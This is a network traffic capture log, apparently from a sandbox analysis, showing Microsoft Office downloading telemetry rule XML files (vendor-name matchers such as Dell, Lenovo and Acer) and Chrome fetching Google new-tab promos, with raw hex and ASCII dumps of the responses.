2024-10-31 00:18:24 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:24 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:24 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 041e76a7-601e-005c-45ae-26f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001824Z-16849878b78wc6ln1zsrz6q9w800000008cg00000000mhw8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:24 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.5	49716	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:24 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:24 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:24 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 9a0790d9-e01e-0052-7cad-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001824Z-16849878b786lft2mu9uftf3y400000009zg00000000gkc8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 00:18:24 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.5	49717	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:24 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:24 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:24 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 20969678-a01e-006f-3ab0-2a13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001824Z-159b85dff8f5bl2qhC1DFWs6cn00000000tg000000001xrh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:24 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49714	142.250.185.132	443	4676	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:24 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 00:18:24 UTC	957	IN	HTTP/1.1 200 OK Version: 689297125 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Thu, 31 Oct 2024 00:18:24 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-31 00:18:24 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-10-31 00:18:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.5	49726	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:25 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:25 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:25 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: e84b733d-701e-005c-1bb8-26bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001825Z-16849878b785dznd7xpawq9gcn0000000a4000000000g50q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 00:18:25 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.5	49724	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:25 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:25 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:25 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 633f9008-101e-00a2-3e9b-279f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001825Z-16849878b78fkwcjkpn19c5dsn00000007qg00000000qx6z x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:25 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.5	49725	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:25 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:25 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:25 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 4755be7f-e01e-0052-062b-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001825Z-16849878b78p49s6zkwt11bbkn00000008ag00000000sntt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 00:18:25 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.5	49727	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:25 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:25 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:25 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 557cfad9-601e-0097-7970-2af33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001825Z-159b85dff8f7svrvhC1DFWth2s00000000hg00000000fxdz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:25 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.5	49723	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:25 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:25 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:25 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 7b93b929-d01e-0082-6676-27e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001825Z-16849878b787bfsh7zgp804my400000007mg000000005e2r x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:25 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.5	49731	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:25 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:26 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:26 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 6b0d144c-801e-007b-3a49-27e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001826Z-16849878b78wc6ln1zsrz6q9w800000008b000000000t2gd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:26 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.5	49732	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:26 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:26 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:26 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: c8022c20-501e-00a3-08ae-26c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001826Z-16849878b78j7llf5vkyvvcehs00000009v000000000d8kf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:26 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.5	49733	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:26 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:26 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:26 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: d7faccb9-c01e-002b-307f-276e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001826Z-16849878b787bfsh7zgp804my400000007h000000000gdzn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:26 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C 